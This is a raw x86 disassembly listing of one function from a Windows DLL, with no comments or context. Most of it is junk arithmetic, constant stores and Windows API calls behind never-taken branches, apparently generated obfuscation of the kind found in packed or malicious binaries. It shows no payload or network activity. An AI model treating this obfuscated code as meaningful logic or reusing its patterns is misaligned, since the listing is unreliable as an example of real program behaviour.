push 2
pop eax
push eax
call fcn.1001743f
xor ebx, ebx
cmp dword [eax], ebx
je 0x100328b1
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x4b0]
push 2
pop eax
push eax
call fcn.1001743f
cmp dword [eax], ebx
je 0x100328b1
inc ebx
mov ecx, ebx
jmp 0x100328b8
xor eax, eax
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x20]
add eax, ecx
jne 0x100328ce
push 2
pop eax
push eax
lea ecx, [ebp - 0x4b0]
call fcn.1001743f
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, esi
setl cl
imul eax, ecx, 0xfffffff6
test eax, eax
je 0x100329cc
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x44], esi
mov esi, 0xffff
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], 0xb
jmp 0x100329bd
mov dword [ebp - 0x18], 0xf746e33
xor edx, edx
mov dword [ebp - 0x28], 0x6200d40a
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1154], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
cmp edx, 0x1949
jge 0x10032936
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10032938
mov eax, ebx
dec dword [ebp - 0x24]
xor ecx, ecx
mov edx, dword [ebp - 0x28]
imul edx, eax
mov eax, dword [ebp - 0x18]
push 2
cmp eax, edx
setne cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
pop edx
setle cl
imul eax, ecx, 0xfffe
mov ecx, dword [ebp - 0x18]
push edx
cmp edx, eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0x4b0]
setg bl
call fcn.1001743f
xor edx, edx
push 1
sub ebx, dword [eax]
mov eax, dword [ebp - 0x44]
cmp ebx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
pop ebx
setne cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x28
jle 0x10032900
jmp 0x10032ad7
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0x618e188a
mov dword [ebp - 0x3c], 0x4d8bc897
mov dword [ebp - 0x30], 0xffffffe2
cmp dword [ebp - 0x30], 0x1c
jne 0x10032a52
push 3
pop ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jge 0x10032a0f
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xd94], 0x1330
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x100329f7
xor eax, eax
mov dword [ebp - 0x34], 0xffffffe7
cmp dword [ebp - 0x34], 0xffffffe4
jge 0x10032a49
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10032a37
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
xor eax, eax
inc dword [ebp - 0xd94]
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe4
jl 0x10032a1c
push 3
pop ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1c
je 0x100329ef
mov dword [ebp - 0x28], 0xfffffff6
lea ecx, [ebp - 0x4b0]
push ebx
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
mov edx, dword [ebp - 0x1310]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x20]
sete bl
xor ecx, ecx
imul edx, ebx
cmp edx, eax
setge cl
mov dword [ebp - 0x3c], ecx
mov ecx, 0xa916
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
sub ecx, eax
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xdc1aabb7
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x10032ab4
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov esi, 0xffff
cmp eax, 0x6fa7abe3
setge cl
xor eax, eax
cmp ecx, 0xd129
setg al
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0x1c
call fcn.10017423
xor eax, eax
lea ecx, [ebp - 0x650]
mov dword [ebp - 0x28], eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x2c], 0x76b87d0f
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], 0xfbf26171
push ebx
call fcn.100173a1
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xa10]
mov dword [ebp - 0x30], 0x6e28
push ebx
call fcn.100173a1
mov byte [ebp - 4], 0x1f
xor eax, eax
mov dword [ebp - 0x20], 0x2c7e12fd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10032b4f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x374], 0x5ff44426
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032b37
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10032b75
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x650]
call fcn.1001743f
mov dword [eax], 0x2e63372
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032b57
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10032b91
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa10]
call fcn.1001743f
mov dword [eax], 0x6c7a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032b7a
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x4ddb84c6
setg cl
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp eax, ecx
mov ecx, dword [ebp - 0x2c]
sbb edx, edx
neg edx
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, edx
lea ecx, [ebp - 0x650]
setne al
mov dword [ebp - 0x374], eax
xor eax, eax
push eax
call fcn.1001743f
cmp dword [ebp - 0x38], esi
mov ecx, dword [ebp - 0x2c]
sbb esi, esi
xor edx, edx
neg esi
cmp ecx, esi
lea ecx, [ebp - 0xa10]
setge dl
mov dword [eax], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
xor eax, eax
push eax
call fcn.1001743f
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp ecx, ebx
setl dl
xor ecx, ecx
cmp edx, dword [eax]
setne cl
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], eax
jmp 0x10032ca1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jl 0x10032c45
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10032c40
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
xor eax, eax
dec dword [ebp - 0x30]
jns 0x10032c2b
mov dword [ebp - 0x20], eax
jmp 0x10032c99
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10032c5b
call dword [sym.imp.GDI32.dll_GdiFlush]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10032c96
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x650]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x650]
mov esi, eax
call fcn.1001743f
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x374]
dec dword [ebp - 0x2c]
jns 0x10032c63
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x10032c4a
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], eax
jle 0x10032c23
lea ecx, [ebp - 0xa10]
call fcn.10017423
lea ecx, [ebp - 0x650]
mov byte [ebp - 4], 0x1c
call fcn.10017423
mov dword [ebp - 0x20], ebx
xor eax, eax
push 0xfffffffffffffff8
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x20], eax
pop esi
jmp 0x10032cef
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10032cec
call edi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10032cd8
mov dword [ebp - 0x20], eax
push 3
pop eax
cmp dword [ebp - 0x20], eax
jge 0x10032d20
push eax
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa58]
call fcn.1001743f
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10032d01
xor ebx, ebx
inc ebx
push ebx
lea ecx, [ebp - 0x908]
call fcn.100173a1
mov byte [ebp - 4], 0x20
xor eax, eax
mov dword [ebp - 0x4c], 0x986d6dbc
mov dword [ebp - 0x4c], 0x3cd4fe93
mov dword [ebp - 0x4c], 0x404179b2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10032d67
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x140], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032d4f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10032d8d
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x908]
call fcn.1001743f
mov dword [eax], 0x4746a1c1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032d6f
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10032db0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c8], 0xc0198ab7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10032d98
xor eax, eax
push eax
lea ecx, [ebp - 0x908]
call fcn.1001743f
mov ecx, dword [ebp - 0x140]
mov esi, eax
imul edx, ecx, 0x7dcd
xor eax, eax
mov ecx, dword [ebp - 0x140]
cmp ecx, edx
lea ecx, [ebp - 0x908]
setge al
xor ebx, ebx
cmp eax, dword [esi]
setle bl
xor eax, eax
push eax
call fcn.1001743f
xor ecx, ecx
push 3
cmp ebx, dword [eax]
pop eax
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x140]
setne dl
xor ecx, ecx
cmp eax, 0xffff2ada
setl cl
xor eax, eax
cmp ecx, edx
setle al
cmp dword [ebp - 0x140], eax
jg 0x10032f29
mov dword [ebp - 0x30], 0x5e82aa9d
lea ecx, [ebp - 0xdac]
mov dword [ebp - 0x4c], 0xcb8f2ba1
xor eax, eax
mov dword [ebp - 0x4c], 0x3062a4b1
xor ebx, ebx
mov dword [ebp - 0x4c], 0x62a04f77
inc ebx
mov dword [ebp - 0x4c], eax
or esi, 0xffffffff
mov dword [ebp - 0x4c], 5
mov dword [ebp - 0x4c], 0x53fde750
push 3
mov dword [ebp - 0x4c], ebx
pop eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 0xcedda565
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x4c], 0x260e2efe
push ebx
call fcn.100173a1
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10032eb0
push dword [ebp - 0x20]
lea ecx, [ebp - 0xdac]
call fcn.1001743f
mov dword [eax], 0xaecaa70
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10032e92
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xf
jne 0x10032f1c
push 3
pop ebx
mov dword [ebp - 0x4c], 0xe2fe8172
lea ecx, [ebp - 0xfb8]
mov dword [ebp - 0x4c], 0xc89d73ae
mov dword [ebp - 0x4c], 0xfffffffc
push ebx
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x20], eax
jmp 0x10032ef9
push dword [ebp - 0x20]
call fcn.1001743f
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x20]
lea ecx, [ebp - 0xfb8]
cmp dword [ebp - 0x20], ebx
jl 0x10032ee8
dec dword [ebp - 0x28]
mov byte [ebp - 4], 0x21
call fcn.10017423
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xf
je 0x10032ebc
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xdac]
call fcn.10017423
jmp 0x10032f6a
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10032f3e
call edi
push eax
call dword [sym.imp.USER32.dll_SetCapture]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10032f64
push 0x1596
push eax
push eax
push 0x183d
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor ebx, ebx
inc ebx
or esi, 0xffffffff
lea ecx, [ebp - 0x908]
mov byte [ebp - 4], 0x1c
call fcn.10017423
push ebx
lea ecx, [ebp - 0xa58]
call fcn.1001743f
cmp dword [eax], 0
je 0x100343bd
mov eax, 0x8a61928c
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], eax
mov dword [ebp - 0x20], 0xd811f07b
mov dword [ebp - 0x514], 6
cmp dword [ebp - 0x514], 0xffffffef
jle 0x10032fff
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x10032fea
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x958], 0x4822
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10032fd2
xor eax, eax
inc dword [ebp - 0x958]
dec dword [ebp - 0x514]
cmp dword [ebp - 0x514], 0xffffffef
jg 0x10032fca
mov dword [ebp - 0x20], 0x11
jmp 0x10033028
mov dword [ebp - 0x28], 0xfffffffd
mov ecx, 0x74006310
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1a
jg 0x10033008
mov dword [ebp - 0x20], 0xe0cf5720
mov dword [ebp - 0x20], 0xffffffea
cmp dword [ebp - 0x20], 0x1d
jle 0x10033062
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10033059
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
jg 0x10033044
neg dword [ebp - 0x20]
mov dword [ebp - 0x4c], 0x3869393d
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x20], 0xffffffe7
jmp 0x100330d7
cmp dword [ebp - 0x20], 0x1c
jne 0x1003307f
or edi, 0xffffffff
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 4], edi
call fcn.10017423
push 2
pop eax
push eax
lea ecx, [ebp - 0xdf4]
call fcn.100173a1
mov dword [ebp - 4], 0x33
xor eax, eax
mov dword [ebp - 0x24], 0x4cd4536
mov dword [ebp - 0x28], 0xcbae8b01
mov dword [ebp - 0x4c], 0xd5c0aeca
mov dword [ebp - 0x4c], 0x2f9e
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10034353
push ecx
pop ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xdf4]
call fcn.1001743f
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10034335
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp dword [ebp - 0x24], eax
jl 0x1003473b
push 3
pop edx
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x20], 0x526d2e85
mov dword [ebp - 0x4c], 0x443eb606
mov dword [ebp - 0x4c], 0x44d513c6
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x40], 0x333db962
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x100343ae
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13e0], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10034396
xor eax, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x20], 0xfffffff4
jmp 0x1003472c
push 3
pop eax
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x690]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], 0x45e2
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x30
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1003440d
push ecx
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x690]
call fcn.1001743f
mov dword [eax], 0xdda5659c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100343ec
xor ebx, ebx
xor eax, eax
inc ebx
push 0xfffffffffffffff8
pop ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0x1c
jl 0x1003450b
jmp 0x10034421
xor eax, eax
push 0xfffffffffffffff7
xor edx, edx
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0xd6446bd2
mov dword [ebp - 0x44], 0xed09eb81
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setne dl
sub edx, 0x3f30
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ecx, 5
setne dl
xor eax, eax
cmp edx, esi
setge al
cmp eax, dword [ebp - 0x34]
jle 0x1003447a
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x690]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
push ebx
call fcn.1001743f
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x690]
mov eax, dword [ebp - 0x44]
push 2
pop eax
push eax
call fcn.1001743f
xor ebx, ebx
lea ecx, [ebp - 0x690]
cmp dword [eax], ebx
setne bl
xor eax, eax
inc eax
push eax
call fcn.1001743f
mov esi, eax
xor eax, eax
cmp ebx, 6
push 1
setne al
xor edx, edx
imul eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
pop ebx
push 0xffffffffffffffff
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
xor ecx, ecx
cmp edx, dword [esi]
pop esi
setl cl
xor edx, edx
test ecx, ecx
sets dl
sub edx, eax
add edx, 0x4ff3d90c
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x1c
jge 0x1003441f
or esi, esi
lea ecx, [ebp - 0x690]
mov byte [ebp - 4], 0x1c
call fcn.10017423
xor eax, eax
lea ecx, [ebp - 0xb78]
push 2
mov byte [ebp - 0xd], al
pop eax
mov dword [ebp - 0x24], ebx
push eax
call fcn.100173a1
push 3
pop eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xa40]
mov dword [ebp - 0x28], ebx
push eax
call fcn.100173a1
xor eax, eax
mov byte [ebp - 4], 0x32
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10034577
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb78]
call fcn.1001743f
mov dword [eax], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003455a
xor ebx, ebx
xor eax, eax
inc ebx
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100345a5
push ecx
pop ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa40]
call fcn.1001743f
mov dword [eax], 0x26c312fb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10034584
xor ebx, ebx
xor eax, eax
inc ebx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100345b6
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push ebx
lea ecx, [ebp - 0xb78]
call fcn.1001743f
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
imul eax, dword [ebp - 0x28], 0x1249
test eax, eax
je 0x100345dd
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x100345df
xor eax, eax
mov edi, eax
mov esi, eax
cmp dword [ebp - 0x24], eax
je 0x100345ea
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x10034716
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13d4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10034702
xor eax, eax
inc dword [ebp - 0x40]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10034729
call ebx
push 3
xor eax, eax
pop edx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
jl 0x100346f4
dec dword [ebp - 0x24]
jns 0x10034368
lea ecx, [ebp - 0xdf4]
mov dword [ebp - 4], edi
call fcn.10017423
xor eax, eax
lea ecx, [ebp - 0xc44]
push 3
mov dword [ebp - 0x18], eax
pop eax
mov dword [ebp - 0x3c], 0xcc5c6a3f
push eax
call fcn.100173a1
xor eax, eax
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x14], eax
jmp 0x10034789
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc44]
call fcn.1001743f
mov dword [eax], 0xe1d4595a
inc dword [ebp - 0x14]
push 3
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10034772
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100347ac
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
jne 0x100347a9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffffb
setg cl
xor eax, eax
cmp ecx, 0xd1b4
pop ecx
setg al
cmp ecx, eax
lea ecx, [ebp - 0xc44]
sbb esi, esi
add esi, 0xdeb9d334
sub esi, dword [ebp - 0x18]
neg esi
sbb esi, esi
inc esi
sub esi, dword [ebp - 0x3c]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.1001743f
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0xd], al
test esi, esi
je 0x10034819
cmp byte [ebp - 0xd], al
je 0x1003483e
push eax
push eax
push 0xc3a
push eax
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
jmp 0x1003483e
cmp byte [ebp - 0xd], al
je 0x1003482d
push eax
push eax
push 0x14cc
call dword [sym.imp.ADVAPI32.dll_CopySid]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003483e
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
lea ecx, [ebp - 0xc44]
mov dword [ebp - 4], edi
call fcn.10017423
push 3
pop eax
mov dword [ebp - 0x2c], 0xb4ffb87
lea ecx, [ebp - 0x14c]
push eax
call fcn.100173a1
mov dword [ebp - 4], 0x35
xor eax, eax
xor edx, edx
mov dword [ebp - 0x28], 0xcd0cd8a6
mov dword [ebp - 0x18], eax
inc edx
cmp dword [ebp - 0x18], edx
jge 0x10034895
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3e4], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003487d
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x100348c0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
xor edx, edx
inc edx
push 3
mov dword [eax], edx
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], eax
jl 0x100348a0
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x1003492e
mov dword [ebp - 0x3c], 0x88586fd5
mov eax, dword [ebp - 0x3e4]
add eax, 0x62bb3fd
je 0x100348e7
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100348e9
mov esi, edx
jmp 0x100348eb
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x2c]
push edx
call fcn.1001743f
lea ecx, [ebp - 0x14c]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.1001743f
mov eax, dword [ebp - 0x2c]
xor edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x3e4]
cmp eax, edx
setl cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
jle 0x100348c8
mov dword [ebp - 0x2c], eax
push 2
pop eax
cmp dword [ebp - 0x2c], eax
jg 0x10034aad
jmp 0x10034942
xor edx, edx
inc edx
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x6b0]
push edx
call fcn.100173a1
mov byte [ebp - 4], 0x36
xor eax, eax
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x14], eax
jmp 0x1003497d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6b0]
call fcn.1001743f
mov dword [eax], 0xd693ce85
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10034966
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
mov dword [ebp - 0x20], 0xed55c59c
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x2c]
call fcn.1001743f
push 2
pop eax
push eax
lea ecx, [ebp - 0x14c]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
xor eax, eax
lea ecx, [ebp - 0x14c]
inc eax
push eax
call fcn.1001743f
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
push 0xfffffffffffffffb
pop ecx
cmp dword [eax], ecx
je 0x10034a16
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x14c]
call fcn.1001743f
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x14c]
xor eax, eax
push eax
call fcn.1001743f
mov dword [eax], 0xffff
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
neg eax
jne 0x10034a3a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.1001743f
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
jl 0x10034a60
mov eax, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0x6b0]
neg edi
sbb edi, edi
xor eax, eax
push eax
neg edi
call fcn.1001743f
lea ecx, [ebp - 0x6b0]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.1001743f
lea ecx, [ebp - 0x6b0]
mov byte [ebp - 4], 0x35
mov dword [eax], esi
call fcn.10017423
inc dword [ebp - 0x2c]
push 2
pop eax
cmp dword [ebp - 0x2c], eax
jle 0x1003493f
or edi, 0xffffffff
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], edi
call fcn.10017423
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], 0x15
jmp 0x10034c08
inc eax
lea ecx, [ebp - 0xa70]
push 3
mov dword [ebp - 0x34], eax
pop eax
push eax
